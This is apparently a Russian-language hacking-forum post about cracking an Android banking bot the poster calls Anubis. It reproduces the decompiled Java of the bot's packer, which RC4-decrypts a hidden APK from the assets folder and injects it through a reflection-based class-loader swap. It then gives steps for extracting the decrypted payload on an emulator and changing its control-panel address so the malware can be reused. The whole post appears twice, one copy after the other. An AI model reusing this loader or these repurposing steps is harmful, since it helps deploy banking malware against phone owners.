Ломаем громко сказано! Декомпилируем бота и наблюдаем следующую картину
[CLIKE]
Так и знал что ананируешь на анубиса?
Тогда получи код:
package dsehiqshfdrhb.dypadwxhqmvc.nivztjt;
import android.app.Application;
import android.content.Context;
import android.util.Base64;
import android.util.Log;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.ref.WeakReference;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Map;
public class Protector extends Application {
private static final int SBOX_LENGTH = 256;
String KeyDecryptFile = "lvqfaazdsgdgc";
String LOGD_TAG_DBG = "(Protector)Debug";
String META_KEY_APP_CLASS = "efbznkkwfjpicoed";
String NAME_DIR_LIB = "DynamicLib";
String NAME_DIR_OPT_DEX = "DynamicOptDex";
String NAME_SRC_APK = strDecRC4("MDQ1Zjk3OGNjZDNhYjM5M2ZkZWFhMDIxZGIwOTNl", "zaqvkapmmxecwhoq");
int SIZE_BUF = 1024;
private int i = 0;
private int j = 0;
Context mCtxBase = null;
private int[] sbox;
[/CLIKE]
Кто в теме все понял расходимся
Полный код на сколько это возможно
[CLIKE]
Опять попался дрочер мелкий=)
package dsehiqshfdrhb.dypadwxhqmvc.nivztjt;
import android.app.Application;
import android.content.Context;
import android.util.Base64;
import android.util.Log;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.ref.WeakReference;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Map;
public class Protector extends Application {
private static final int SBOX_LENGTH = 256;
String KeyDecryptFile = "lvqfaazdsgdgc";
String LOGD_TAG_DBG = "(Protector)Debug";
String META_KEY_APP_CLASS = "efbznkkwfjpicoed";
String NAME_DIR_LIB = "DynamicLib";
String NAME_DIR_OPT_DEX = "DynamicOptDex";
String NAME_SRC_APK = strDecRC4("MDQ1Zjk3OGNjZDNhYjM5M2ZkZWFhMDIxZGIwOTNl", "zaqvkapmmxecwhoq");
int SIZE_BUF = 1024;
private int i = 0;
private int j = 0;
Context mCtxBase = null;
private int[] sbox;
public byte[] encrypt(byte[] bArr) {
this.sbox = initSBox(this.KeyDecryptFile.getBytes());
byte[] bArr2 = new byte[bArr.length];
for (int i2 = 0; i2 < bArr.length; i2++) {
this.i = (this.i + 1) % 256;
int i3 = this.j;
int[] iArr = this.sbox;
int i4 = this.i;
this.j = (i3 + iArr[i4]) % 256;
swap(i4, this.j, iArr);
int[] iArr2 = this.sbox;
bArr2[i2] = (byte) (iArr2[(iArr2[this.i] + iArr2[this.j]) % 256] ^ bArr[i2]);
}
return bArr2;
}
private int[] initSBox(byte[] bArr) {
int[] iArr = new int[256];
for (int i2 = 0; i2 < 256; i2++) {
iArr[i2] = i2;
}
int i3 = 0;
for (int i4 = 0; i4 < 256; i4++) {
i3 = (((i3 + iArr[i4]) + bArr[i4 % bArr.length]) + 256) % 256;
swap(i4, i3, iArr);
}
return iArr;
}
private void swap(int i2, int i3, int[] iArr) {
int i4 = iArr[i2];
iArr[i2] = iArr[i3];
iArr[i3] = i4;
}
public byte[] FileDecrypt(byte[] bArr) throws IOException {
return encrypt(bArr);
}
public String strDecRC4(String str, String str2) {
try {
return new String(new RC4(str2.getBytes()).decrypt(hexStringToByteArray(new String(Base64.decode(str, 0), "UTF-8"))));
} catch (Exception unused) {
return BuildConfig.FLAVOR;
}
}
public byte[] hexStringToByteArray(String str) {
int length = str.length();
byte[] bArr = new byte[(length / 2)];
for (int i2 = 0; i2 < length; i2 += 2) {
bArr[i2 / 2] = (byte) ((Character.digit(str.charAt(i2), 16) << 4) + Character.digit(str.charAt(i2 + 1), 16));
}
return bArr;
}
/* access modifiers changed from: protected */
public void attachBaseContext(Context context) {
super.attachBaseContext(context);
Log.d(this.LOGD_TAG_DBG, context.toString());
this.mCtxBase = context;
File dir = context.getDir(this.NAME_DIR_OPT_DEX, 0);
File dir2 = context.getDir(this.NAME_DIR_LIB, 0);
String absolutePath = dir.getAbsolutePath();
dir2.getAbsolutePath();
String absolutePath2 = new File(absolutePath, this.NAME_SRC_APK).getAbsolutePath();
boolean prepareSrcApk = prepareSrcApk(absolutePath2);
if (prepareSrcApk) {
StringBuffer stringBuffer = new StringBuffer();
if (prepareSrcApk) {
replaceClassLoader(absolutePath2, absolutePath, stringBuffer.toString());
}
}
}
public void onCreate() {
super.onCreate();
StringBuffer stringBuffer = new StringBuffer();
if (stringBuffer.length() <= 0 || !replaceApplicationClass(stringBuffer.toString())) {
}
}
public void writeToFile(byte[] bArr, String str) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream(str);
fileOutputStream.write(bArr);
fileOutputStream.close();
}
/* JADX WARNING: Code restructure failed: missing block: B:12:0x003b, code lost:
r4 = move-exception;
*/
/* JADX WARNING: Code restructure failed: missing block: B:14:?, code lost:
r4.printStackTrace();
*/
/* JADX WARNING: Code restructure failed: missing block: B:15:0x0040, code lost:
r4 = move-exception;
*/
/* JADX WARNING: Code restructure failed: missing block: B:16:0x0041, code lost:
r4.printStackTrace();
*/
/* JADX WARNING: Code restructure failed: missing block: B:29:0x0065, code lost:
r0 = th;
*/
/* JADX WARNING: Code restructure failed: missing block: B:56:?, code lost:
r7.close();
*/
/* JADX WARNING: Code restructure failed: missing block: B:57:0x0096, code lost:
r7 = move-exception;
*/
/* JADX WARNING: Code restructure failed: missing block: B:58:0x0097, code lost:
r7.printStackTrace();
*/
/* JADX WARNING: Code restructure failed: missing block: B:61:?, code lost:
r3.close();
*/
/* JADX WARNING: Code restructure failed: missing block: B:62:0x00a0, code lost:
r7 = move-exception;
*/
/* JADX WARNING: Code restructure failed: missing block: B:63:0x00a1, code lost:
r7.printStackTrace();
*/
/* JADX WARNING: Failed to process nested try/catch */
/* JADX WARNING: Removed duplicated region for block: B:29:0x0065 A[ExcHandler: all (th java.lang.Throwable), Splitter:B:5:0x0018] */
/* JADX WARNING: Removed duplicated region for block: B:43:0x007b A[SYNTHETIC, Splitter:B:43:0x007b] */
/* JADX WARNING: Removed duplicated region for block: B:48:0x0085 A[SYNTHETIC, Splitter:B:48:0x0085] */
/* JADX WARNING: Removed duplicated region for block: B:55:0x0092 A[SYNTHETIC, Splitter:B:55:0x0092] */
/* JADX WARNING: Removed duplicated region for block: B:60:0x009c A[SYNTHETIC, Splitter:B:60:0x009c] */
/* JADX WARNING: Removed duplicated region for block: B:68:? A[RETURN, SYNTHETIC] */
/* Code decompiled incorrectly, please refer to instructions dump. */
private boolean prepareSrcApk(java.lang.String r7) {
/*
r6 = this;
java.io.File r0 = new java.io.File
r0.<init>(r7)
android.content.Context r7 = r6.mCtxBase
android.content.res.AssetManager r7 = r7.getAssets()
r1 = 0
r2 = 0
java.lang.String r3 = r6.NAME_SRC_APK // Catch:{ IOException -> 0x0074, all -> 0x0070 }
java.io.InputStream r7 = r7.open(r3) // Catch:{ IOException -> 0x0074, all -> 0x0070 }
java.io.FileOutputStream r3 = new java.io.FileOutputStream // Catch:{ IOException -> 0x006c, all -> 0x0069 }
r3.<init>(r0) // Catch:{ IOException -> 0x006c, all -> 0x0069 }
int r1 = r6.SIZE_BUF // Catch:{ IOException -> 0x0067, all -> 0x0065 }
byte[] r1 = new byte[r1] // Catch:{ IOException -> 0x0067, all -> 0x0065 }
L_0x001c:
int r4 = r7.read(r1) // Catch:{ IOException -> 0x0067, all -> 0x0065 }
if (r4 >= 0) goto L_0x0061
long r4 = r0.length() // Catch:{ IOException -> 0x0067, all -> 0x0065 }
int r1 = (int) r4 // Catch:{ IOException -> 0x0067, all -> 0x0065 }
byte[] r1 = new byte[r1] // Catch:{ IOException -> 0x0067, all -> 0x0065 }
java.io.BufferedInputStream r4 = new java.io.BufferedInputStream // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
java.io.FileInputStream r5 = new java.io.FileInputStream // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
r5.<init>(r0) // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
r4.<init>(r5) // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
int r5 = r1.length // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
r4.read(r1, r2, r5) // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
r4.close() // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
goto L_0x0044
L_0x003b:
r4 = move-exception
r4.printStackTrace() // Catch:{ IOException -> 0x0067, all -> 0x0065 }
goto L_0x0044
L_0x0040:
r4 = move-exception
r4.printStackTrace() // Catch:{ IOException -> 0x0067, all -> 0x0065 }
L_0x0044:
byte[] r1 = r6.FileDecrypt(r1) // Catch:{ IOException -> 0x0067, all -> 0x0065 }
java.lang.String r0 = r0.getAbsolutePath() // Catch:{ IOException -> 0x0067, all -> 0x0065 }
r6.writeToFile(r1, r0) // Catch:{ IOException -> 0x0067, all -> 0x0065 }
if (r7 == 0) goto L_0x005b
r7.close() // Catch:{ IOException -> 0x0055 }
goto L_0x005b
L_0x0055:
r7 = move-exception
r7.printStackTrace()
r7 = 0
goto L_0x005c
L_0x005b:
r7 = 1
L_0x005c:
r3.close() // Catch:{ IOException -> 0x0089 }
r2 = r7
goto L_0x008d
L_0x0061:
r3.write(r1, r2, r4) // Catch:{ IOException -> 0x0067, all -> 0x0065 }
goto L_0x001c
L_0x0065:
r0 = move-exception
goto L_0x0090
L_0x0067:
r0 = move-exception
goto L_0x006e
L_0x0069:
r0 = move-exception
r3 = r1
goto L_0x0090
L_0x006c:
r0 = move-exception
r3 = r1
L_0x006e:
r1 = r7
goto L_0x0076
L_0x0070:
r0 = move-exception
r7 = r1
r3 = r7
goto L_0x0090
L_0x0074:
r0 = move-exception
r3 = r1
L_0x0076:
r0.printStackTrace() // Catch:{ all -> 0x008e }
if (r1 == 0) goto L_0x0083
r1.close() // Catch:{ IOException -> 0x007f }
goto L_0x0083
L_0x007f:
r7 = move-exception
r7.printStackTrace()
L_0x0083:
if (r3 == 0) goto L_0x008d
r3.close() // Catch:{ IOException -> 0x0089 }
goto L_0x008d
L_0x0089:
r7 = move-exception
r7.printStackTrace()
L_0x008d:
return r2
L_0x008e:
r0 = move-exception
r7 = r1
L_0x0090:
if (r7 == 0) goto L_0x009a
r7.close() // Catch:{ IOException -> 0x0096 }
goto L_0x009a
L_0x0096:
r7 = move-exception
r7.printStackTrace()
L_0x009a:
if (r3 == 0) goto L_0x00a4
r3.close() // Catch:{ IOException -> 0x00a0 }
goto L_0x00a4
L_0x00a0:
r7 = move-exception
r7.printStackTrace()
L_0x00a4:
throw r0
*/
throw new UnsupportedOperationException("Method not decompiled: dsehiqshfdrhb.dypadwxhqmvc.nivztjt.Protector.prepareSrcApk(java.lang.String):boolean");
}
/* access modifiers changed from: package-private */
public void replaceClassLoader(String str, String str2, String str3) {
try {
Class<?> cls = Class.forName("android.app.ActivityThread");
Class<?> cls2 = Class.forName("android.app.LoadedApk");
Object invoke = cls.getMethod("currentActivityThread", new Class[0]).invoke((Object) null, new Object[0]);
Field declaredField = cls.getDeclaredField("mPackages");
declaredField.setAccessible(true);
WeakReference weakReference = (WeakReference) ((Map) declaredField.get(invoke)).get(this.mCtxBase.getPackageName());
Field declaredField2 = cls2.getDeclaredField("mClassLoader");
declaredField2.setAccessible(true);
declaredField2.set(weakReference.get(), new DexClassLoader(str, str2, str3, (ClassLoader) declaredField2.get(weakReference.get())));
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e2) {
e2.printStackTrace();
} catch (InvocationTargetException e3) {
e3.printStackTrace();
} catch (IllegalAccessException e4) {
e4.printStackTrace();
} catch (NullPointerException e5) {
e5.printStackTrace();
} catch (NoSuchFieldException e6) {
e6.printStackTrace();
}
}
private boolean replaceApplicationClass(String str) {
try {
Log.d(this.LOGD_TAG_DBG, getClassLoader().toString());
Application application = (Application) Class.forName(str, true, getClassLoader()).newInstance();
Class<?> cls = Class.forName("android.app.ContextImpl");
Field declaredField = cls.getDeclaredField("mOuterContext");
declaredField.setAccessible(true);
declaredField.set(this.mCtxBase, application);
Field declaredField2 = cls.getDeclaredField("mPackageInfo");
declaredField2.setAccessible(true);
Object obj = declaredField2.get(this.mCtxBase);
Class<?> cls2 = Class.forName("android.app.LoadedApk");
Field declaredField3 = cls2.getDeclaredField("mApplication");
declaredField3.setAccessible(true);
declaredField3.set(obj, application);
Field declaredField4 = cls2.getDeclaredField("mActivityThread");
declaredField4.setAccessible(true);
Object obj2 = declaredField4.get(obj);
Class<?> cls3 = Class.forName("android.app.ActivityThread");
Field declaredField5 = cls3.getDeclaredField("mInitialApplication");
declaredField5.setAccessible(true);
declaredField5.set(obj2, application);
Field declaredField6 = cls3.getDeclaredField("mAllApplications");
declaredField6.setAccessible(true);
ArrayList arrayList = (ArrayList) declaredField6.get(obj2);
arrayList.add(application);
arrayList.remove((Application) getApplicationContext());
Method declaredMethod = Application.class.getDeclaredMethod("attach", new Class[]{Context.class});
declaredMethod.setAccessible(true);
declaredMethod.invoke(application, new Object[]{this.mCtxBase});
application.onCreate();
Log.d(this.LOGD_TAG_DBG, application.toString());
} catch (ClassNotFoundException e) {
e.printStackTrace();
return false;
} catch (InstantiationException e2) {
e2.printStackTrace();
return false;
} catch (IllegalAccessException e3) {
e3.printStackTrace();
return false;
} catch (NoSuchFieldException e4) {
e4.printStackTrace();
return false;
} catch (NoSuchMethodException e5) {
e5.printStackTrace();
} catch (InvocationTargetException e6) {
e6.printStackTrace();
return false;
}
return true;
}
}
[/CLIKE]
Чтобы расшифровать этот гений мысли не нужно даже что то писать, после установки приложения на телефон файл из папки assets расшифровывается и дропается на телефон, в дерикторию приложения.
Квест для самых маленьких:
В старых версиях андроид есть доступ к приватным дерикториям и файлам, знаете другой способ мне глубоко пох я не фанатик андроидов. Ставим андроид студию устанавливаем эмулятор 4-5 андроида ставим бота на эмуль что прикрепил и идем в раздел Device File Explorer и ищем наше приложение по названию lxvnwwtfv.jiogxenwz.jwtxud находим жмем save, сохранили идем в папку resources-assets и видим файл gtnfznugtfjyrhc это и есть наш апк даем ему соответствующие расширение и радуемся жизни. Меняем адрес панели и делаем то что я писал в сполере. Сказали что стоит он 3к$, за паблик даже дописанный........ ну не мне судить.
[CLIKE]
Так и знал что ананируешь на анубиса?
Тогда получи код:
package dsehiqshfdrhb.dypadwxhqmvc.nivztjt;
import android.app.Application;
import android.content.Context;
import android.util.Base64;
import android.util.Log;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.ref.WeakReference;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Map;
public class Protector extends Application {
private static final int SBOX_LENGTH = 256;
String KeyDecryptFile = "lvqfaazdsgdgc";
String LOGD_TAG_DBG = "(Protector)Debug";
String META_KEY_APP_CLASS = "efbznkkwfjpicoed";
String NAME_DIR_LIB = "DynamicLib";
String NAME_DIR_OPT_DEX = "DynamicOptDex";
String NAME_SRC_APK = strDecRC4("MDQ1Zjk3OGNjZDNhYjM5M2ZkZWFhMDIxZGIwOTNl", "zaqvkapmmxecwhoq");
int SIZE_BUF = 1024;
private int i = 0;
private int j = 0;
Context mCtxBase = null;
private int[] sbox;
[/CLIKE]
Кто в теме все понял расходимся
Полный код на сколько это возможно
[CLIKE]
Опять попался дрочер мелкий=)
package dsehiqshfdrhb.dypadwxhqmvc.nivztjt;
import android.app.Application;
import android.content.Context;
import android.util.Base64;
import android.util.Log;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.ref.WeakReference;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Map;
public class Protector extends Application {
private static final int SBOX_LENGTH = 256;
String KeyDecryptFile = "lvqfaazdsgdgc";
String LOGD_TAG_DBG = "(Protector)Debug";
String META_KEY_APP_CLASS = "efbznkkwfjpicoed";
String NAME_DIR_LIB = "DynamicLib";
String NAME_DIR_OPT_DEX = "DynamicOptDex";
String NAME_SRC_APK = strDecRC4("MDQ1Zjk3OGNjZDNhYjM5M2ZkZWFhMDIxZGIwOTNl", "zaqvkapmmxecwhoq");
int SIZE_BUF = 1024;
private int i = 0;
private int j = 0;
Context mCtxBase = null;
private int[] sbox;
public byte[] encrypt(byte[] bArr) {
this.sbox = initSBox(this.KeyDecryptFile.getBytes());
byte[] bArr2 = new byte[bArr.length];
for (int i2 = 0; i2 < bArr.length; i2++) {
this.i = (this.i + 1) % 256;
int i3 = this.j;
int[] iArr = this.sbox;
int i4 = this.i;
this.j = (i3 + iArr[i4]) % 256;
swap(i4, this.j, iArr);
int[] iArr2 = this.sbox;
bArr2[i2] = (byte) (iArr2[(iArr2[this.i] + iArr2[this.j]) % 256] ^ bArr[i2]);
}
return bArr2;
}
private int[] initSBox(byte[] bArr) {
int[] iArr = new int[256];
for (int i2 = 0; i2 < 256; i2++) {
iArr[i2] = i2;
}
int i3 = 0;
for (int i4 = 0; i4 < 256; i4++) {
i3 = (((i3 + iArr[i4]) + bArr[i4 % bArr.length]) + 256) % 256;
swap(i4, i3, iArr);
}
return iArr;
}
private void swap(int i2, int i3, int[] iArr) {
int i4 = iArr[i2];
iArr[i2] = iArr[i3];
iArr[i3] = i4;
}
public byte[] FileDecrypt(byte[] bArr) throws IOException {
return encrypt(bArr);
}
public String strDecRC4(String str, String str2) {
try {
return new String(new RC4(str2.getBytes()).decrypt(hexStringToByteArray(new String(Base64.decode(str, 0), "UTF-8"))));
} catch (Exception unused) {
return BuildConfig.FLAVOR;
}
}
public byte[] hexStringToByteArray(String str) {
int length = str.length();
byte[] bArr = new byte[(length / 2)];
for (int i2 = 0; i2 < length; i2 += 2) {
bArr[i2 / 2] = (byte) ((Character.digit(str.charAt(i2), 16) << 4) + Character.digit(str.charAt(i2 + 1), 16));
}
return bArr;
}
/* access modifiers changed from: protected */
public void attachBaseContext(Context context) {
super.attachBaseContext(context);
Log.d(this.LOGD_TAG_DBG, context.toString());
this.mCtxBase = context;
File dir = context.getDir(this.NAME_DIR_OPT_DEX, 0);
File dir2 = context.getDir(this.NAME_DIR_LIB, 0);
String absolutePath = dir.getAbsolutePath();
dir2.getAbsolutePath();
String absolutePath2 = new File(absolutePath, this.NAME_SRC_APK).getAbsolutePath();
boolean prepareSrcApk = prepareSrcApk(absolutePath2);
if (prepareSrcApk) {
StringBuffer stringBuffer = new StringBuffer();
if (prepareSrcApk) {
replaceClassLoader(absolutePath2, absolutePath, stringBuffer.toString());
}
}
}
public void onCreate() {
super.onCreate();
StringBuffer stringBuffer = new StringBuffer();
if (stringBuffer.length() <= 0 || !replaceApplicationClass(stringBuffer.toString())) {
}
}
public void writeToFile(byte[] bArr, String str) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream(str);
fileOutputStream.write(bArr);
fileOutputStream.close();
}
/* JADX WARNING: Code restructure failed: missing block: B:12:0x003b, code lost:
r4 = move-exception;
*/
/* JADX WARNING: Code restructure failed: missing block: B:14:?, code lost:
r4.printStackTrace();
*/
/* JADX WARNING: Code restructure failed: missing block: B:15:0x0040, code lost:
r4 = move-exception;
*/
/* JADX WARNING: Code restructure failed: missing block: B:16:0x0041, code lost:
r4.printStackTrace();
*/
/* JADX WARNING: Code restructure failed: missing block: B:29:0x0065, code lost:
r0 = th;
*/
/* JADX WARNING: Code restructure failed: missing block: B:56:?, code lost:
r7.close();
*/
/* JADX WARNING: Code restructure failed: missing block: B:57:0x0096, code lost:
r7 = move-exception;
*/
/* JADX WARNING: Code restructure failed: missing block: B:58:0x0097, code lost:
r7.printStackTrace();
*/
/* JADX WARNING: Code restructure failed: missing block: B:61:?, code lost:
r3.close();
*/
/* JADX WARNING: Code restructure failed: missing block: B:62:0x00a0, code lost:
r7 = move-exception;
*/
/* JADX WARNING: Code restructure failed: missing block: B:63:0x00a1, code lost:
r7.printStackTrace();
*/
/* JADX WARNING: Failed to process nested try/catch */
/* JADX WARNING: Removed duplicated region for block: B:29:0x0065 A[ExcHandler: all (th java.lang.Throwable), Splitter:B:5:0x0018] */
/* JADX WARNING: Removed duplicated region for block: B:43:0x007b A[SYNTHETIC, Splitter:B:43:0x007b] */
/* JADX WARNING: Removed duplicated region for block: B:48:0x0085 A[SYNTHETIC, Splitter:B:48:0x0085] */
/* JADX WARNING: Removed duplicated region for block: B:55:0x0092 A[SYNTHETIC, Splitter:B:55:0x0092] */
/* JADX WARNING: Removed duplicated region for block: B:60:0x009c A[SYNTHETIC, Splitter:B:60:0x009c] */
/* JADX WARNING: Removed duplicated region for block: B:68:? A[RETURN, SYNTHETIC] */
/* Code decompiled incorrectly, please refer to instructions dump. */
private boolean prepareSrcApk(java.lang.String r7) {
/*
r6 = this;
java.io.File r0 = new java.io.File
r0.<init>(r7)
android.content.Context r7 = r6.mCtxBase
android.content.res.AssetManager r7 = r7.getAssets()
r1 = 0
r2 = 0
java.lang.String r3 = r6.NAME_SRC_APK // Catch:{ IOException -> 0x0074, all -> 0x0070 }
java.io.InputStream r7 = r7.open(r3) // Catch:{ IOException -> 0x0074, all -> 0x0070 }
java.io.FileOutputStream r3 = new java.io.FileOutputStream // Catch:{ IOException -> 0x006c, all -> 0x0069 }
r3.<init>(r0) // Catch:{ IOException -> 0x006c, all -> 0x0069 }
int r1 = r6.SIZE_BUF // Catch:{ IOException -> 0x0067, all -> 0x0065 }
byte[] r1 = new byte[r1] // Catch:{ IOException -> 0x0067, all -> 0x0065 }
L_0x001c:
int r4 = r7.read(r1) // Catch:{ IOException -> 0x0067, all -> 0x0065 }
if (r4 >= 0) goto L_0x0061
long r4 = r0.length() // Catch:{ IOException -> 0x0067, all -> 0x0065 }
int r1 = (int) r4 // Catch:{ IOException -> 0x0067, all -> 0x0065 }
byte[] r1 = new byte[r1] // Catch:{ IOException -> 0x0067, all -> 0x0065 }
java.io.BufferedInputStream r4 = new java.io.BufferedInputStream // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
java.io.FileInputStream r5 = new java.io.FileInputStream // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
r5.<init>(r0) // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
r4.<init>(r5) // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
int r5 = r1.length // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
r4.read(r1, r2, r5) // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
r4.close() // Catch:{ FileNotFoundException -> 0x0040, IOException -> 0x003b, all -> 0x0065 }
goto L_0x0044
L_0x003b:
r4 = move-exception
r4.printStackTrace() // Catch:{ IOException -> 0x0067, all -> 0x0065 }
goto L_0x0044
L_0x0040:
r4 = move-exception
r4.printStackTrace() // Catch:{ IOException -> 0x0067, all -> 0x0065 }
L_0x0044:
byte[] r1 = r6.FileDecrypt(r1) // Catch:{ IOException -> 0x0067, all -> 0x0065 }
java.lang.String r0 = r0.getAbsolutePath() // Catch:{ IOException -> 0x0067, all -> 0x0065 }
r6.writeToFile(r1, r0) // Catch:{ IOException -> 0x0067, all -> 0x0065 }
if (r7 == 0) goto L_0x005b
r7.close() // Catch:{ IOException -> 0x0055 }
goto L_0x005b
L_0x0055:
r7 = move-exception
r7.printStackTrace()
r7 = 0
goto L_0x005c
L_0x005b:
r7 = 1
L_0x005c:
r3.close() // Catch:{ IOException -> 0x0089 }
r2 = r7
goto L_0x008d
L_0x0061:
r3.write(r1, r2, r4) // Catch:{ IOException -> 0x0067, all -> 0x0065 }
goto L_0x001c
L_0x0065:
r0 = move-exception
goto L_0x0090
L_0x0067:
r0 = move-exception
goto L_0x006e
L_0x0069:
r0 = move-exception
r3 = r1
goto L_0x0090
L_0x006c:
r0 = move-exception
r3 = r1
L_0x006e:
r1 = r7
goto L_0x0076
L_0x0070:
r0 = move-exception
r7 = r1
r3 = r7
goto L_0x0090
L_0x0074:
r0 = move-exception
r3 = r1
L_0x0076:
r0.printStackTrace() // Catch:{ all -> 0x008e }
if (r1 == 0) goto L_0x0083
r1.close() // Catch:{ IOException -> 0x007f }
goto L_0x0083
L_0x007f:
r7 = move-exception
r7.printStackTrace()
L_0x0083:
if (r3 == 0) goto L_0x008d
r3.close() // Catch:{ IOException -> 0x0089 }
goto L_0x008d
L_0x0089:
r7 = move-exception
r7.printStackTrace()
L_0x008d:
return r2
L_0x008e:
r0 = move-exception
r7 = r1
L_0x0090:
if (r7 == 0) goto L_0x009a
r7.close() // Catch:{ IOException -> 0x0096 }
goto L_0x009a
L_0x0096:
r7 = move-exception
r7.printStackTrace()
L_0x009a:
if (r3 == 0) goto L_0x00a4
r3.close() // Catch:{ IOException -> 0x00a0 }
goto L_0x00a4
L_0x00a0:
r7 = move-exception
r7.printStackTrace()
L_0x00a4:
throw r0
*/
throw new UnsupportedOperationException("Method not decompiled: dsehiqshfdrhb.dypadwxhqmvc.nivztjt.Protector.prepareSrcApk(java.lang.String):boolean");
}
/* access modifiers changed from: package-private */
public void replaceClassLoader(String str, String str2, String str3) {
try {
Class<?> cls = Class.forName("android.app.ActivityThread");
Class<?> cls2 = Class.forName("android.app.LoadedApk");
Object invoke = cls.getMethod("currentActivityThread", new Class[0]).invoke((Object) null, new Object[0]);
Field declaredField = cls.getDeclaredField("mPackages");
declaredField.setAccessible(true);
WeakReference weakReference = (WeakReference) ((Map) declaredField.get(invoke)).get(this.mCtxBase.getPackageName());
Field declaredField2 = cls2.getDeclaredField("mClassLoader");
declaredField2.setAccessible(true);
declaredField2.set(weakReference.get(), new DexClassLoader(str, str2, str3, (ClassLoader) declaredField2.get(weakReference.get())));
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e2) {
e2.printStackTrace();
} catch (InvocationTargetException e3) {
e3.printStackTrace();
} catch (IllegalAccessException e4) {
e4.printStackTrace();
} catch (NullPointerException e5) {
e5.printStackTrace();
} catch (NoSuchFieldException e6) {
e6.printStackTrace();
}
}
private boolean replaceApplicationClass(String str) {
try {
Log.d(this.LOGD_TAG_DBG, getClassLoader().toString());
Application application = (Application) Class.forName(str, true, getClassLoader()).newInstance();
Class<?> cls = Class.forName("android.app.ContextImpl");
Field declaredField = cls.getDeclaredField("mOuterContext");
declaredField.setAccessible(true);
declaredField.set(this.mCtxBase, application);
Field declaredField2 = cls.getDeclaredField("mPackageInfo");
declaredField2.setAccessible(true);
Object obj = declaredField2.get(this.mCtxBase);
Class<?> cls2 = Class.forName("android.app.LoadedApk");
Field declaredField3 = cls2.getDeclaredField("mApplication");
declaredField3.setAccessible(true);
declaredField3.set(obj, application);
Field declaredField4 = cls2.getDeclaredField("mActivityThread");
declaredField4.setAccessible(true);
Object obj2 = declaredField4.get(obj);
Class<?> cls3 = Class.forName("android.app.ActivityThread");
Field declaredField5 = cls3.getDeclaredField("mInitialApplication");
declaredField5.setAccessible(true);
declaredField5.set(obj2, application);
Field declaredField6 = cls3.getDeclaredField("mAllApplications");
declaredField6.setAccessible(true);
ArrayList arrayList = (ArrayList) declaredField6.get(obj2);
arrayList.add(application);
arrayList.remove((Application) getApplicationContext());
Method declaredMethod = Application.class.getDeclaredMethod("attach", new Class[]{Context.class});
declaredMethod.setAccessible(true);
declaredMethod.invoke(application, new Object[]{this.mCtxBase});
application.onCreate();
Log.d(this.LOGD_TAG_DBG, application.toString());
} catch (ClassNotFoundException e) {
e.printStackTrace();
return false;
} catch (InstantiationException e2) {
e2.printStackTrace();
return false;
} catch (IllegalAccessException e3) {
e3.printStackTrace();
return false;
} catch (NoSuchFieldException e4) {
e4.printStackTrace();
return false;
} catch (NoSuchMethodException e5) {
e5.printStackTrace();
} catch (InvocationTargetException e6) {
e6.printStackTrace();
return false;
}
return true;
}
}
[/CLIKE]
Чтобы расшифровать этот гений мысли не нужно даже что то писать, после установки приложения на телефон файл из папки assets расшифровывается и дропается на телефон, в дерикторию приложения.
Квест для самых маленьких:
В старых версиях андроид есть доступ к приватным дерикториям и файлам, знаете другой способ мне глубоко пох я не фанатик андроидов. Ставим андроид студию устанавливаем эмулятор 4-5 андроида ставим бота на эмуль что прикрепил и идем в раздел Device File Explorer и ищем наше приложение по названию lxvnwwtfv.jiogxenwz.jwtxud находим жмем save, сохранили идем в папку resources-assets и видим файл gtnfznugtfjyrhc это и есть наш апк даем ему соответствующие расширение и радуемся жизни. Меняем адрес панели и делаем то что я писал в сполере. Сказали что стоит он 3к$, за паблик даже дописанный........ ну не мне судить.